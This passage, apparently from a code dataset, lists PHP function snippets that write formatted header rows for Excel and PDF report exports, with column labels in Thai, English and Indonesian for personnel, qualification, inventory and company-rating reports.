\"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "abstract function getheadings();", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "public function headingRow(): int\n {\n return 1;\n }", "public function summaryColumns();", "public function __Header(){\n $this->Ln(5);\n $this->SetDrawColor(160,160,160);\n $this->SetFillColor(230,230,230);\n $this->SetTextColor(100);\n $this->SetFont('Arial','B',7);\n $this->SetX(($this->w - $this->_tWidth)/2);\n foreach($this->_fields as $field)\n $this->Cell($field[\"size\"],5,$field[\"header\"],1,0,\"C\",true);\n $this->Ln();\n }", "function header (){\n\t\t$this->setfont('Arial','B', 16);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'WANANCHI', 0, 0, 'C');\n\t\t$this->Ln(10);\n\t\t$this->setfont('Arial','',12);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'INFORMATION',0, 0, 'C');\n\t\t$this->Ln(30);\n\t}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function export()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t// Panggil class PHPExcel nya\n\t\t$excel = new PHPExcel();\n\n\t\t// Settingan awal fil excel\n\t\t$excel->getProperties()->setCreator('PT Pelindo')\n\t\t\t->setLastModifiedBy('PT Pelindo')\n\t\t\t->setTitle(\"Rekap Rapor Akhlak\")\n\t\t\t->setSubject(\"Rekap Rapor Akhlak\")\n\t\t\t->setDescription(\"Rekap Rapor Akhlak\")\n\t\t\t->setKeywords(\"Rekap Rapor Akhlak\");\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n\t\t$style_col = array(\n\t\t\t'font' => array('bold' => true), // Set font nya jadi bold\n\t\t\t'alignment' => array(\n\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n\t\t$style_row = array(\n\t\t\t'alignment' => array(\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A1', \"Rekap Rapor Akhlak\"); // Set kolom A1 dengan tulisan \"Rekap Rapor Akhlak\"\n\t\t$excel->getActiveSheet()->mergeCells('A1:J1'); // Set Merge Cell pada kolom A1 sampai E1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n\t\t// Buat header tabel nya pada baris ke 3\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('B3', \"NAMA CABANG\"); // Set kolom B3 dengan tulisan \"NIS\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('C3', \"NILAI AMANAH\"); // Set kolom C3 dengan tulisan \"NAMA\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('D3', \"NILAI KOMPETEN\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('E3', \"NILAI HARMONIS\"); // Set kolom E3 dengan tulisan 